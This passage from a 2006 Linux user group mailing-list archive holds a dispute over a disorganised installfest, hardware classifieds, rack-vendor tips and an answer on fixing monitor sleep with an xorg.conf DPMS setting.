Ubuntu CDs did not make an appearance. In fact, I was >> surprised to hear from one of the organizers that he didn't even know >> what Ubuntu was. Was he kidding? >> >> Anyway, we lugged our computer out there, drove 15 miles, and were very >> disappointed. > > You should have shouted louder: I had two ubuntu amd64 cds and I had the > i386 cds pass through my hands on a couple of occasions. Also, there > were people with cd burners that could have cooked more if need be. Maybe next time. I guess people should walk into the room and start yelling, literally, about what they want. I was told to talk to the man in the black shirt. Someone thought he was in charge. He thought Ubuntu was a funny name, but that was all he knew about it. So I left. If you had someone in charge of directing installees to installers, that could help. In some ways it was a success because there were quite a few people there at 2:00 when we arrived. Mike From florin at iucha.net Sun Mar 5 13:37:17 2006 From: florin at iucha.net (Florin Iucha) Date: Sun, 5 Mar 2006 13:37:17 -0600 Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: References: <4405DFF1.4090105@fandre.com> <20060305153610.GP31311@iucha.net> Message-ID: <20060305193717.GR31311@iucha.net> On Sun, Mar 05, 2006 at 12:46:57PM -0600, Mike Miller wrote: > On Sun, 5 Mar 2006, Florin Iucha wrote: > > >On Sun, Mar 05, 2006 at 09:10:45AM -0600, Mike Miller wrote: > > > >>Sadly, the Ubuntu CDs did not make an appearance. In fact, I was > >>surprised to hear from one of the organizers that he didn't even know > >>what Ubuntu was. Was he kidding? > >> > >>Anyway, we lugged our computer out there, drove 15 miles, and were very > >>disappointed. > > > >You should have shouted louder: I had two ubuntu amd64 cds and I had the > >i386 cds pass through my hands on a couple of occasions. Also, there > >were people with cd burners that could have cooked more if need be. > > Maybe next time. I guess people should walk into the room and start > yelling, literally, about what they want. I was told to talk to the man > in the black shirt. Someone thought he was in charge. He thought Ubuntu > was a funny name, but that was all he knew about it. So I left. I know geeks are introverted, I am one of them, but asking only two people then complaining that you drove 15 miles for nuttin' is a bit strange... > If you had someone in charge of directing installees to installers, that > could help. Sure, do *you* volunteer? There were some failings: - short announcement time frame - not announced on the most frequented mailing list - cds not showing up - no install server - nobody in charge of the technical side - no registration/name tags - no wireless until 2/3 though the time slot but: - I've discovered the subtlety of following Broadway up to Bass Lake, - met interesting people, - helped few enthusiasts, - seen some new and interesting stuff, - had a good time! For me the installfest was a success and we owe big thanks to the person who secured the room and arranged for the drinks and pizza. Linux is a bazaar, not a catedral, florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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I guess people should walk into the room and start >> yelling, literally, about what they want. I was told to talk to the >> man in the black shirt. Someone thought he was in charge. He thought >> Ubuntu was a funny name, but that was all he knew about it. So I left. > > I know geeks are introverted, I am one of them, but asking only two > people then complaining that you drove 15 miles for nuttin' is a bit > strange... It's strange? You don't know what you are talking about. I talked to at least three people. If they didn't know what they were talking about they should have said so. No one suggested that they might have been misinformed. Everyone who claimed to know about the new Ubuntu CDs claimed that they were not there. Are you saying that you were there at 2:00 yesterday with new Ubuntu CDs? I don't remember the name of the guy in the black shirt who I was told was organizing things, but believe me, you didn't tell him about your CDs. Same for all the people around the table with him. Several of them agreed that the new Ubuntu CDs shouldn't have been offered in the email and on the web page because they were not available. If you had them, no one knew anything about it. So what is the usual protocol at these Installfests? People who come looking to get an install are supposed to talk to *everyone* in the room before they give up and go home? >> If you had someone in charge of directing installees to installers, >> that could help. > > Sure, do *you* volunteer? I had to pick up my son at the airport at 1:40. He brought his computer up from La Crosse, Wisconsin, for a weekend visit. That meant that I didn't have a lot of time to volunteer. I also didn't have a lot of time for someone to do an install, which is one of the reasons that I didn't hang out for an hour (also, he wanted to go shopping for a guitar). It seemed like everyone was busy when we got there. In the future, I can help to some degree, but I wouldn't be able to do the installing, so what would you want me to do? It would be easiest for me to donate money and CDs. Another thing that I thought I could do that might help was to suggest that you have one person in charge of greeting people who are looking for installs and directing them to appropriate installers. If you want me to do that next time, I could do it for two hours. Mike From webmaster at mn-linux.org Sun Mar 5 18:45:46 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Sun, 5 Mar 2006 18:45:46 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603060045.k260jkT28831@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Sale Subject: Stuff for sale 4U Rackmount ATX: P4 HT 2.8 GHz, 256 MB, 20 GB hdd, 52x CDROM, Floppy, crappy Matrox Millenium PCI vid card but board has 8x AGP slot. 2x 3COM PCI NIC's plus onboard nic, onboard sound, USB 2.0. 17" monitor and keyboard. Black case. $150.00 8 port black aluminum 1U rackmount 'Sky Link KVM 1008', with power cord and mismatched full set of cables. $50.00 Canon PC980 copier with power cord, copier stand, new toner cartridge just installed, brand-new spare toner cartridge in box. $100.00 Seller Email address: rudie at sihope dot com http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From webmaster at mn-linux.org Sun Mar 5 20:09:28 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Sun, 5 Mar 2006 20:09:28 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603060209.k2629SG31183@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Free Subject: people wanted We are a small local group looking for people who are interested in doing research in the security field. This would include discussions about pen testing, current exploits, creating exploits, etc. Almost all of the work/discussion would be online. Some other things we would like to do is team up with people to work together on wargames/challenges at various sites like hackthissite.org, pulltheplug.org, etc. Our goal is to increase everyone's technical knowledge in all areas of security. If interested, email me at intothefloodagain AT gmail.com. Seller Email address: intothefloodagain at gmail dot com http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From hewhocutsdown at gmail.com Sun Mar 5 23:48:15 2006 From: hewhocutsdown at gmail.com (Jordan Peacock) Date: Sun, 5 Mar 2006 23:48:15 -0600 Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: References: <4405DFF1.4090105@fandre.com> <20060305153610.GP31311@iucha.net> <20060305193717.GR31311@iucha.net> Message-ID: My wife and I dropped in, more to put some faces to names than to set up anything. I brought some discs along in case a Dapper Drake Ubuntu pre-release showed up, but I wasn't too concerned when it didn't. I did however, meet some fascinating people (Jonathan, Craig, and I believe Steven, if you're on the list) and my wife was pleasantly surprised by not being bored to tears! True; next time some more organization is in order...mostly in the communication of it happening (the first confirmation I received personally was the morning of on this list). I'll probably get involved next time, this time was my first, and I'm pretty new to minnesota. Congratulation for whoever set up the place and all, and thank you for everyone who dropped by and showed up. God bless -jordan From hewhocutsdown at gmail.com Sun Mar 5 23:49:57 2006 From: hewhocutsdown at gmail.com (Jordan Peacock) Date: Sun, 5 Mar 2006 23:49:57 -0600 Subject: [tclug-list] What do do with 40 Ubuntu CDs? In-Reply-To: <20060305193837.GS31311@iucha.net> References: <1f729feb0603050932x42966debte298e0fd6608d0ad@mail.gmail.com> <20060305193837.GS31311@iucha.net> Message-ID: Pete, I'll take an i386 off your hands. Email me about how you'd like to pass it. -jordan From cncole at earthlink.net Mon Mar 6 00:47:26 2006 From: cncole at earthlink.net (Chuck Cole) Date: Mon, 6 Mar 2006 00:47:26 -0600 Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: Message-ID: > -----Original Message----- > From: tclug-list-bounces at mn-linux.org > [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Mike Miller > > On Wed, 1 Mar 2006, Clayton Fandre wrote: > > > * BYOM (bring your own CDR/CDRW media). We should have a good supply > > of distributions. We will have a large supply of pre-burned copies of > > the new Ubuntu linux distribution (to be released April 4th) We will > > have x86, amd64, and ppc versions of the Ubuntu CDs. > > > Sadly, the Ubuntu CDs did not make an appearance. In fact, I was > surprised to hear from one of the organizers that he didn't even know what > Ubuntu was. Was he kidding? > > Anyway, we lugged our computer out there, drove 15 miles, and were very > disappointed. > This was the weakest Installfest I've seen, but I still got a good start at installing Debian on one of my laptops. Didn't someone set up a server just for Installfests? We really needed to have the distros on a local server at the Installfest. I could have done a copy of a distro and some apps to my hard drive across the LAN instead of taking lots of time on my 2nd laptop trying to copy a set of CDs for Debian. Something was wrong with the LAN also. Registration can be a help. Having 2 sign-in lists at a registration table might be a big help: one list for "helpers" so we know who is present and can help with something, and a second list for those of us looking for help. We really need to see these lists before the event to see whether the event has enough equipment and helping resources "to make it a go". While I did get a very good start on one of my laptops, I went expecting to get two set up adequately for me to connect by WiFi at home so I could complete by just adding some applications. With good help, we did not get one Debian setup running and had no time to complete what I had come to do. The pizza was good, however. Chuck From scotjenkins at gmail.com Mon Mar 6 02:35:04 2006 From: scotjenkins at gmail.com (Scot Jenkins) Date: Mon, 6 Mar 2006 02:35:04 -0600 Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: References: Message-ID: While I couldn't attend this installfest, I have to comment on the mailing list traffic that followed. First of all, you should be thanking Clay for organizing the installfest. It's not an easy task. And so what if it was on short notice? Most installfests are and generally it all works out. Why? Because of the people who participate. Over the years a lot of TCLUG members have given countless hours of their time to help others, all at no cost to you. Think about it. Not to mention all the media that goes out, usually at minimal or no cost. TCLUG is a volunteer organization. Anyone can step up and help. We're always looking for folks to help organize installfests, secure topics and speakers for monthly meetings, and help keep the website up to date. Instead of just complaining, step up and offer to help, and stick to you word. Plenty of people say they will do something, only to vanish when the time comes to deliver. Everyone expects to be fed and watered at an installfest. Someone has to collect money from everyone, order the food, clean up afterwards, etc. Again, another organizational task of an installfest. As for someone not knowing what Ubuntu is...I don't blame them. There are so many Linux distros today it's impossible for anyone to keep up. Have you heard of the one called Tiny Sofa?[1] I hadn't. You can't expect to walk into a room and have someone walk up to you with all the answers. Installfests are about getting together with other Linux folks and sharing knowledge, not just having _your_ needs met. Talk to people. It's a human thing. Try it. On the installfest server: this one has come up many times in the past. It takes time to build such a box and download all the current distros. We've tried asking on the registration form what distros folks are interested in. Yet, when the installfest arrives, there's always someone complaining because we don't have the latest distro XYZ available. Plus the box needs a burner, huge amounts of disk, a fast CPU, and lots of memory to handle the load of an installfest, ie, you need a current system. Most of us don't have the budget or time to maintain such a system. There's also the issue of the "keeper" of the box and how can we be sure it will show up at the next installfest? Again, not an easy task and I encourage you to try. Just think before you fire off that angry email. To all the folks who have participated and helped out at TCLUG installfests, meetings, beer meetings, and other gatherings, over the last 8 years a big thanks goes out to you. Your efforts are much appreciated. Scot Jenkins -- [1] http://www.tinysofa.org/ From gscottwalters at gmail.com Mon Mar 6 09:35:57 2006 From: gscottwalters at gmail.com (G. Scott Walters) Date: Mon, 6 Mar 2006 09:35:57 -0600 Subject: [tclug-list] Local vendor for server racks? In-Reply-To: References: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> Message-ID: <34b4c76d0603060735u27051934u4743c7b272b93c12@mail.gmail.com> Smith Micro has been known to have some used racks, but thier selection varies. We also got a hella deal on a rack from BlackBox. Perhaps we got the deal because of the other services we got from them, but it's a solid rack, lots of wire runs, and a nifty overhead light in the rack. Ugg, it's Monday. Scott On 3/4/06, Tim Wilson wrote: > On Mar 4, 2006, at 4:00 PM, Shawn Fertch wrote: > > > Looking for a local vendor of computer rack components such as > > shelves, etc on the east side. Recommendations? > > I've had good luck with GoldCom in South St. Paul. > > -Tim > > -- > Tim Wilson > Twin Cities, Minnesota, USA > Educational technology guy, Linux and OS X fan, Grad. student, Daddy > mailto: wilson at visi.com aim: tis270 blog: http://technosavvy.org > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > -- - G. Scott Walters http://www.apt518.net From wjohnson at mqsoftware.com Mon Mar 6 10:11:17 2006 From: wjohnson at mqsoftware.com (Wayne Johnson) Date: Mon, 6 Mar 2006 10:11:17 -0600 Subject: [tclug-list] [tclug-announce] Installfest this Saturday Message-ID: <3C05BBBA1B54ED43B1A6827E620EF1CD012798AE@mailservermn.mqsoftware.com> Unfortunately, there were a few glitches in the installfest, and I literally did yell if anyone has a Ubuntu (and several other distro's) several times, but it was likely before 2. This being my first installfest, I did have a good time, even though I was just watching and playing. I want to thank Kevin for his work setting this up. He put a lot of effort into this. Yes it was a bit disorganized (as I can imagine most installfests are), but at least he tried. Kudos to him for that! -----Original Message----- From: tclug-list-bounces at mn-linux.org [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Mike Miller Sent: Sunday, March 05, 2006 3:51 PM To: Florin Iucha Cc: TCLUG List Subject: Re: [tclug-list] [tclug-announce] Installfest this Saturday On Sun, 5 Mar 2006, Florin Iucha wrote: > On Sun, Mar 05, 2006 at 12:46:57PM -0600, Mike Miller wrote: >>> You should have shouted louder: I had two ubuntu amd64 cds and I had >>> the i386 cds pass through my hands on a couple of occasions. Also, >>> there were people with cd burners that could have cooked more if need >>> be. >> >> Maybe next time. I guess people should walk into the room and start >> yelling, literally, about what they want. I was told to talk to the >> man in the black shirt. Someone thought he was in charge. He thought >> Ubuntu was a funny name, but that was all he knew about it. So I left. > > I know geeks are introverted, I am one of them, but asking only two > people then complaining that you drove 15 miles for nuttin' is a bit > strange... It's strange? You don't know what you are talking about. I talked to at least three people. If they didn't know what they were talking about they should have said so. No one suggested that they might have been misinformed. Everyone who claimed to know about the new Ubuntu CDs claimed that they were not there. Are you saying that you were there at 2:00 yesterday with new Ubuntu CDs? I don't remember the name of the guy in the black shirt who I was told was organizing things, but believe me, you didn't tell him about your CDs. Same for all the people around the table with him. Several of them agreed that the new Ubuntu CDs shouldn't have been offered in the email and on the web page because they were not available. If you had them, no one knew anything about it. So what is the usual protocol at these Installfests? People who come looking to get an install are supposed to talk to *everyone* in the room before they give up and go home? >> If you had someone in charge of directing installees to installers, >> that could help. > > Sure, do *you* volunteer? I had to pick up my son at the airport at 1:40. He brought his computer up from La Crosse, Wisconsin, for a weekend visit. That meant that I didn't have a lot of time to volunteer. I also didn't have a lot of time for someone to do an install, which is one of the reasons that I didn't hang out for an hour (also, he wanted to go shopping for a guitar). It seemed like everyone was busy when we got there. In the future, I can help to some degree, but I wouldn't be able to do the installing, so what would you want me to do? It would be easiest for me to donate money and CDs. Another thing that I thought I could do that might help was to suggest that you have one person in charge of greeting people who are looking for installs and directing them to appropriate installers. If you want me to do that next time, I could do it for two hours. Mike _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota tclug-list at mn-linux.org http://mailman.mn-linux.org/mailman/listinfo/tclug-list From k0sdh at visi.com Mon Mar 6 13:01:45 2006 From: k0sdh at visi.com (k0sdh) Date: Mon, 06 Mar 2006 13:01:45 -0600 Subject: [tclug-list] Display On Monitor Dies Message-ID: Help please, First I want to thank the Linux Guruhs for the install-fest lst Sat. The help was genuine and well worth the trip. Please consider having install-fests more often! Now my question; My Intel P4 box with Ubuntu 5.10 is nice when the monitor is on. I am slowly learning to get Ubuntu to do what I want. However after leaving it set (nothing turned off) the screen-saver comes on after one minute and runs for five minutes exactly as I set in "System/Preverences/Screensaver". Then the monitor display goes dark/off but monitor-on led is still on. Have tried several keys and key combinations/ the monitor on/off switch doesn't work in this state. Only way I've found to get display to work again is reboot the computer or unplug/replug the monitor. How can I get monitor to work/display again?? Thanks, Steve Huntsman -- Using Opera's revolutionary e-mail client: http://www.opera.com/mail/ From tclug at beitsahour.net Mon Mar 6 13:03:39 2006 From: tclug at beitsahour.net (Munir Nassar) Date: Mon, 06 Mar 2006 13:03:39 -0600 Subject: [tclug-list] [tclug-announce] Installfest this Saturday References: <4405DFF1.4090105@fandre.com> <20060305153610.GP31311@iucha.net> <20060305193717.GR31311@iucha.net> Message-ID: Florin Iucha writes: > Sure, do *you* volunteer? > > There were some failings: > - short announcement time frame > - not announced on the most frequented mailing list > - cds not showing up > - no install server > - nobody in charge of the technical side > - no registration/name tags > - no wireless until 2/3 though the time slot > but: > - I've discovered the subtlety of following Broadway up to Bass Lake, > - met interesting people, > - helped few enthusiasts, > - seen some new and interesting stuff, > - had a good time! > For me the installfest was a success and we owe big thanks to the person > who secured the room and arranged for the drinks and pizza. > > Linux is a bazaar, not a catedral, it would seem that not very many of you have been to a bazaar and do not know how things work there, there is no signup form there is no directory there is nobody there to direct you you show up and you browse until you find what you are looking for, chances are you do not find what you are looking for but end up finding 10 other things that you were not looking for. if you are lucky/smart you go with/find somebody who knows the way of the land and holds your hand. I showed up on saturday, quite a bit late but then again who wakes up before 10am on a saturday, i did not bring anything with me as i just showed up to see some faces i have not seen in a long time and to help people as people helped me when i myself was still wet behind the ears. I did not advertise the fact that i was there to help, but those that needed help found me and i did what i could. I also believe that there should have been more notice, we (at realtime) do have a firewire drive that has a small subset of what is available on gladiator but it is not always kept up to date and it takes a while to sync it up. Next time I will try and have that available. Also several people have asked me why Real-Time is not as active in TCLUG activities as it used to be. There are reasons for this, email Bob offlist if you have questions concerning that. -- Munir Nassar From mbmiller at taxa.epi.umn.edu Mon Mar 6 13:55:49 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Mon, 6 Mar 2006 13:55:49 -0600 (CST) Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: References: Message-ID: On Mon, 6 Mar 2006, Scot Jenkins wrote: > While I couldn't attend this installfest, I have to comment on the > mailing list traffic that followed. If you were better informed, I'd be more interested in your comments but some of them are worth responding to anyway. I think they were intended mostly for me. > > First of all, you should be thanking Clay for organizing the > installfest. It's not an easy task. I agree that it is a lot of work. It looks like it was good for a lot of the people there and the number of attendees seemed to be pretty good. As I suggested earlier, I was disappointed that something that was promised was not available. I personally would have been better off if I hadn't attended because all the preparation and moving my heavy monitor did me no good. Still, just because it didn't work for me doesn't mean that it failed other people. I think that my experience is worth noting and we shouldn't dismiss people who offer some critical remarks as ungrateful and unhelpful. > And so what if it was on short notice? Most installfests are and > generally it all works out. At least some peole are saying that there were problems and that it didn't all work out for everyone. It's a lot of work, so why not plan a little farther ahead so that the work pays off better? > TCLUG is a volunteer organization. Anyone can step up and help. We're > always looking for folks to help organize installfests, secure topics > and speakers for monthly meetings, and help keep the website up to date. > Instead of just complaining, step up and offer to help, and stick to you > word. Plenty of people say they will do something, only to vanish when > the time comes to deliver. Well, I don't know what other people have done but I just did offer to help with the next installfest. I will now offer to do even more. I have a faculty appointment at the U and I'm sure that will help me to secure some space there. June would be a good time for me to do it. Does that seem like it would work for others? If so, write back to me or call 612-387-8150, especially if you have experience with organizing installfests at the U. In the meantime, I'll learn more about what I have to do to secure space. If any of you have ideas about which rooms at the U would be best to have, let me know. Maybe we can also try to organize some meetings and lectures. > As for someone not knowing what Ubuntu is...I don't blame them. There > are so many Linux distros today it's impossible for anyone to keep up. > Have you heard of the one called Tiny Sofa?[1] I hadn't. I think you haven't been reading the earlier messages in this thread. We aren't talking about Ubuntu because everyone should know about it, it's because the installfest announcement emails and signup web page both claimed that new Ubuntu CDs would be available at the installfest even though the official Ubuntu release wouldn't be for another month. Apparently that got quite a few people interested because I was told at the installfest that many people before me had asked about it. When I asked if the guy was joking when he said he didn't know what Ubuntu was, I really mean that I'm not sure if he was joking. He was kidding around a little in a friendly way, so I'm not sure. > You can't expect to walk into a room and have someone walk up to you > with all the answers. Installfests are about getting together with > other Linux folks and sharing knowledge, not just having _your_ needs > met. Talk to people. It's a human thing. Try it. I hope you aren't as arrogant as you sound here. I don't know who you are trying to address. Certainly, I did talk to people and I got clear, direct answers. I was told that they did not have the Ubuntu CDs that they promised to have and they didn't know why someone promised to have them there. They had a few other things, like Solaris 10, and some other Linux distros. I had to decide if I wanted to stick around. It would have been a lot of work for someone to install a Linux distro on my box and there wasn't a lot of time left. I didn't want to impose on them, especially not to have them install something that I would later delete. I was mostly interested in Ubuntu because I've been hearing a lot of good things about it. > Just think before you fire off that angry email. Again, I'm not sure if you think I sent an angry email or if you are saying that someone else sent one. My email was not meant to vent anger (I would not say that I was angry, just disappointed); it was meant to offer some critical comments that might help to improve future installfests. Mike -- Michael B. Miller, Ph.D. Assistant Professor Division of Epidemiology and Community Health and Institute of Human Genetics University of Minnesota http://taxa.epi.umn.edu/~mbmiller/ From mbmiller at taxa.epi.umn.edu Mon Mar 6 14:09:56 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Mon, 6 Mar 2006 14:09:56 -0600 (CST) Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: References: <4405DFF1.4090105@fandre.com> <20060305153610.GP31311@iucha.net> <20060305193717.GR31311@iucha.net> Message-ID: On Mon, 6 Mar 2006, Munir Nassar wrote: > Florin Iucha writes: > >> Linux is a bazaar, not a catedral, > > it would seem that not very many of you have been to a bazaar and do not > know how things work there, > > there is no signup form > there is no directory > there is nobody there to direct you > you show up and you browse until you find what you are looking for, chances > are you do not find what you are looking for but end up finding 10 other > things that you were not looking for. > if you are lucky/smart you go with/find somebody who knows the way of the > land and holds your hand. I would just say that it doesn't have to be like that. We can have more organization. If our intention is to promote Linux by helping people to install it on their computers, maybe we should help them a little bit more by adding some structure. It would be a great help to have just one person to keep track of what software and expertise are available and to greet people as they arrive to help them find what they need. The internet may be a bazaar but we do have Google and similar sites to help us to make efficient use of it all. > I also believe that there should have been more notice, we (at realtime) > do have a firewire drive that has a small subset of what is available on > gladiator but it is not always kept up to date and it takes a while to > sync it up. Next time I will try and have that available. > > Also several people have asked me why Real-Time is not as active in > TCLUG activities as it used to be. There are reasons for this, email Bob > offlist if you have questions concerning that. I just wrote a grant with a line for Real-Time in it. If the grant is funded, it will provide $2,000/year for 7 years for consulting, a total of $14,000. If that grant fails, I'll write another one. I only chose Real-Time because of its connection to TCLUG. So I'm suggesting that Real-Time involvement with TCLUG can be beneficial to Real-Time indirectly. It's like advertising. I suppose Real-Time is aware of this and already takes it into account in making decisions. Mike From florin at iucha.net Mon Mar 6 14:37:12 2006 From: florin at iucha.net (Florin Iucha) Date: Mon, 6 Mar 2006 14:37:12 -0600 Subject: [tclug-list] Installfest this June [Was: ((every|some|any|no)body)* dance] In-Reply-To: References: Message-ID: <20060306203712.GV31311@iucha.net> On Mon, Mar 06, 2006 at 01:55:49PM -0600, Mike Miller wrote: > > TCLUG is a volunteer organization. Anyone can step up and help. We're > > always looking for folks to help organize installfests, secure topics > > and speakers for monthly meetings, and help keep the website up to date. > > Instead of just complaining, step up and offer to help, and stick to you > > word. Plenty of people say they will do something, only to vanish when > > the time comes to deliver. > > Well, I don't know what other people have done but I just did offer to > help with the next installfest. I will now offer to do even more. I have > a faculty appointment at the U and I'm sure that will help me to secure > some space there. June would be a good time for me to do it. Does that > seem like it would work for others? If so, write back to me or call > 612-387-8150, especially if you have experience with organizing > installfests at the U. In the meantime, I'll learn more about what I have > to do to secure space. If any of you have ideas about which rooms at the > U would be best to have, let me know. Maybe we can also try to organize > some meetings and lectures. If you get the space I will bring an "install server" (AMD 2500+/1GB/120GB/DVD-RW) and coordinate with Munir & Bob to clone the Real-Time mirror on its hard-disk. florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060306/9031eccb/attachment.pgp From florin at iucha.net Mon Mar 6 14:50:29 2006 From: florin at iucha.net (Florin Iucha) Date: Mon, 6 Mar 2006 14:50:29 -0600 Subject: [tclug-list] Display On Monitor Dies In-Reply-To: References: Message-ID: <20060306205029.GW31311@iucha.net> On Mon, Mar 06, 2006 at 01:01:45PM -0600, k0sdh wrote: > Now my question; > My Intel P4 box with Ubuntu 5.10 is nice when the monitor is on. I am > slowly learning to get Ubuntu to do what I want. > However after leaving it set (nothing turned off) the screen-saver comes > on after one minute and runs for five minutes exactly as I set in > "System/Preverences/Screensaver". > Then the monitor display goes dark/off but monitor-on led is still on. > Have tried several keys and key combinations/ the monitor on/off switch > doesn't work in this state. Only way I've found to get display to work > again is reboot the computer or unplug/replug the monitor. > How can I get monitor to work/display again?? Steve, Look in /etc/X11/xorg.conf for the "Monitor" section, and make sure the dpms option is set. Here is the snippet from my config: Section "Monitor" Identifier "Monitor0" VendorName "Monitor Vendor" ModelName "Monitor 1600x1200" HorizSync 31.5 - 94.0 VertRefresh 50.0 - 90.0 Option "dpms" EndSection after you set it, it should be enough to logout and log back in, but if not, you need to restart gdm after you logged out: go to a virtual console (Ctrl-Alt-F1), login as root, then: /etc/init.d/gdm restart florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060306/537e1d00/attachment-0001.pgp From erikerik at gmail.com Mon Mar 6 14:56:53 2006 From: erikerik at gmail.com (Erik Anderson) Date: Mon, 6 Mar 2006 14:56:53 -0600 Subject: [tclug-list] Local vendor for server racks? In-Reply-To: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> References: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> Message-ID: On 3/4/06, Shawn Fertch wrote: > Looking for a local vendor of computer rack components such as shelves, etc > on the east side. Recommendations? Hrm - don't know of anything on the east side, but if you get desperate, AEI Electronics Center in Golden Valley carries several different rack systems along with shelves, drawers, etc. They also have used racks periodically. From clay at fandre.com Mon Mar 6 16:58:21 2006 From: clay at fandre.com (Clayton Fandre) Date: Mon, 06 Mar 2006 16:58:21 -0600 Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: <3C05BBBA1B54ED43B1A6827E620EF1CD012798AE@mailservermn.mqsoftware.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD012798AE@mailservermn.mqsoftware.com> Message-ID: <440CBE8D.4080104@fandre.com> First of all, I would like to apologize to those who had a bad experience at the installfest. I take responsibility for the lack of organization and coordination. It was something that popped up on Monday and wasn't really official until mid-week. I didn't have enough time to get involved to share my knowledge or experience. In the past I have asked for volunteers to help out but again the limited time didn't allow this to happen. To top it off, I forgot to post the announcement to the general list until Friday night which also didn't help. But for a last-minute thing, it sounds like it wasn't too bad. I do want to thank Keven for setting it up. Like some of the other guys said, an installfest is not a simple thing to schedule/coordinate/run. I am working on getting another installfest organized in the next couple of months. I will use this thread to make sure we address the things that were missed from this last one. If anyone has space or is willing to help coordinate, let me know. -- Clay Wayne Johnson wrote: > Unfortunately, there were a few glitches in the installfest, and I literally did yell if anyone has a Ubuntu (and several other distro's) several times, but it was likely before 2. > > This being my first installfest, I did have a good time, even though I was just watching and playing. > > I want to thank Kevin for his work setting this up. He put a lot of effort into this. Yes it was a bit disorganized (as I can imagine most installfests are), but at least he tried. Kudos to him for that! > > > > -----Original Message----- > From: tclug-list-bounces at mn-linux.org > [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Mike Miller > Sent: Sunday, March 05, 2006 3:51 PM > To: Florin Iucha > Cc: TCLUG List > Subject: Re: [tclug-list] [tclug-announce] Installfest this Saturday > > > On Sun, 5 Mar 2006, Florin Iucha wrote: > > >>On Sun, Mar 05, 2006 at 12:46:57PM -0600, Mike Miller wrote: > > >>>>You should have shouted louder: I had two ubuntu amd64 cds and I had >>>>the i386 cds pass through my hands on a couple of occasions. Also, >>>>there were people with cd burners that could have cooked more if need >>>>be. >>> >>>Maybe next time. I guess people should walk into the room and start >>>yelling, literally, about what they want. I was told to talk to the >>>man in the black shirt. Someone thought he was in charge. He thought >>>Ubuntu was a funny name, but that was all he knew about it. So I left. >> >>I know geeks are introverted, I am one of them, but asking only two >>people then complaining that you drove 15 miles for nuttin' is a bit >>strange... > > > It's strange? You don't know what you are talking about. I talked to at > least three people. If they didn't know what they were talking about they > should have said so. No one suggested that they might have been > misinformed. Everyone who claimed to know about the new Ubuntu CDs > claimed that they were not there. > > Are you saying that you were there at 2:00 yesterday with new Ubuntu CDs? > I don't remember the name of the guy in the black shirt who I was told was > organizing things, but believe me, you didn't tell him about your CDs. > Same for all the people around the table with him. Several of them agreed > that the new Ubuntu CDs shouldn't have been offered in the email and on > the web page because they were not available. If you had them, no one > knew anything about it. > > So what is the usual protocol at these Installfests? People who come > looking to get an install are supposed to talk to *everyone* in the room > before they give up and go home? > > > >>>If you had someone in charge of directing installees to installers, >>>that could help. >> >>Sure, do *you* volunteer? > > > I had to pick up my son at the airport at 1:40. He brought his computer > up from La Crosse, Wisconsin, for a weekend visit. That meant that I > didn't have a lot of time to volunteer. I also didn't have a lot of time > for someone to do an install, which is one of the reasons that I didn't > hang out for an hour (also, he wanted to go shopping for a guitar). It > seemed like everyone was busy when we got there. > > In the future, I can help to some degree, but I wouldn't be able to do the > installing, so what would you want me to do? It would be easiest for me > to donate money and CDs. > > Another thing that I thought I could do that might help was to suggest > that you have one person in charge of greeting people who are looking for > installs and directing them to appropriate installers. If you want me to > do that next time, I could do it for two hours. > > Mike > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From mbmiller at taxa.epi.umn.edu Mon Mar 6 18:15:07 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Mon, 6 Mar 2006 18:15:07 -0600 (CST) Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: <440CBE8D.4080104@fandre.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD012798AE@mailservermn.mqsoftware.com> <440CBE8D.4080104@fandre.com> Message-ID: On Mon, 6 Mar 2006, Clayton Fandre wrote: > First of all, I would like to apologize to those who had a bad > experience at the installfest. I take responsibility for the lack of > organization and coordination. It was something that popped up on Monday > and wasn't really official until mid-week. I didn't have enough time to > get involved to share my knowledge or experience. In the past I have > asked for volunteers to help out but again the limited time didn't allow > this to happen. > > To top it off, I forgot to post the announcement to the general list > until Friday night which also didn't help. But for a last-minute thing, > it sounds like it 